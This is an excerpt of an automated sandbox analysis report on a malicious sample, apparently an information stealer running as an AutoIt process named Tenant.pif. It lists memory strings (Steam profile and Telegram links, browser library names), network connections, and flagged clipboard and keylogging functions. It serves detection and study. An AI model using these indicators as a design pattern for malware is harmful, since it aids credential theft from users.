Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=od0wu57c9_w6&l=e
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074033487.00000000015AD000.00000004.00000800.00020000.00000000.sdmp, CBFCBK.11.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074033487.00000000015AD000.00000004.00000800.00020000.00000000.sdmp, CBFCBK.11.dr String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: KEBKJD.11.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KEBKJD.11.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KEBKJD.11.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://help.steampowered.com/en/
Source: CBFCBK.11.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr String found in binary or memory: https://mozilla.org0/
Source: 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199761128941
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/market/
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Tenant.pif, 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4072894428.0000000001394000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941/badges
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941/inventory/
Source: Tenant.pif, 0000000B.00000002.4072894428.0000000001394000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/765611997611289410
Source: Tenant.pif, 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941b
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/
Source: 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/about/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/news/
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001488000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: HJKECA.11.dr String found in binary or memory: https://support.mozilla.org
Source: HJKECA.11.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJKECA.11.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: Tenant.pif, 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t.me/iyigunl
Source: Tenant.pif, 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t.me/iyigunlhellosqlr.dllsqlite3.dllIn
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074033487.00000000015AD000.00000004.00000800.00020000.00000000.sdmp, CBFCBK.11.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2009804495.00000000028D1000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif.2.dr, Neo.0.dr String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4074033487.00000000015AD000.00000004.00000800.00020000.00000000.sdmp, CBFCBK.11.dr String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4080885792.00000000134A2000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4083100268.000000001941E000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: KEBKJD.11.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: Neo.0.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: file.exe, 00000000.00000003.2009804495.00000000028D1000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif.2.dr, Neo.0.dr String found in binary or memory: https://www.globalsign.com/repository/06
Source: KEBKJD.11.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HJKECA.11.dr String found in binary or memory: https://www.mozilla.org
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000278000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077551240.000000000C1BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000278000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/:
Source: HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.0000000000278000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077551240.000000000C1BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/BFIDGCGDHJ
Source: HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077551240.000000000C1BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Tenant.pif, 0000000B.00000003.3794687472.0000000012A3A000.00000004.00000800.00020000.00000000.sdmp, HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Tenant.pif, 0000000B.00000003.3794687472.0000000012A3A000.00000004.00000800.00020000.00000000.sdmp, HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077551240.000000000C1BF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Tenant.pif, 0000000B.00000002.4068394882.000000000027E000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: Tenant.pif, 0000000B.00000003.3794687472.0000000012A3A000.00000004.00000800.00020000.00000000.sdmp, HJKECA.11.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Tenant.pif, 0000000B.00000002.4068394882.0000000000186000.00000040.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, 76561199761128941[1].htm.11.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: unknown Network traffic detected: HTTP traffic on port 59949 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59945 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59947
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59946
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59949
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59948
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59943
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59942
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59945
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59944
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59950
Source: unknown Network traffic detected: HTTP traffic on port 59958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59952
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59951
Source: unknown Network traffic detected: HTTP traffic on port 59954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59942 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59948 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59958
Source: unknown Network traffic detected: HTTP traffic on port 59952 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59957
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59959
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59954
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59953
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59956
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59955
Source: unknown Network traffic detected: HTTP traffic on port 59959 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59960
Source: unknown Network traffic detected: HTTP traffic on port 59938 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59955 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59947 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59953 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59937 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59956 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59940 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 59950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59939
Source: unknown Network traffic detected: HTTP traffic on port 59946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59938
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59937
Source: unknown Network traffic detected: HTTP traffic on port 59960 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59941
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 59940
Source: unknown Network traffic detected: HTTP traffic on port 59957 -> 443
Source: unknown HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.5:59937 version: TLS 1.2
Source: unknown HTTPS traffic detected: 94.130.188.148:443 -> 192.168.2.5:59938 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_004050CD
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B14830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 11_2_00B14830
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B14632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 11_2_00B14632
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_004044A5
Potential key logger detected (key state polling based)
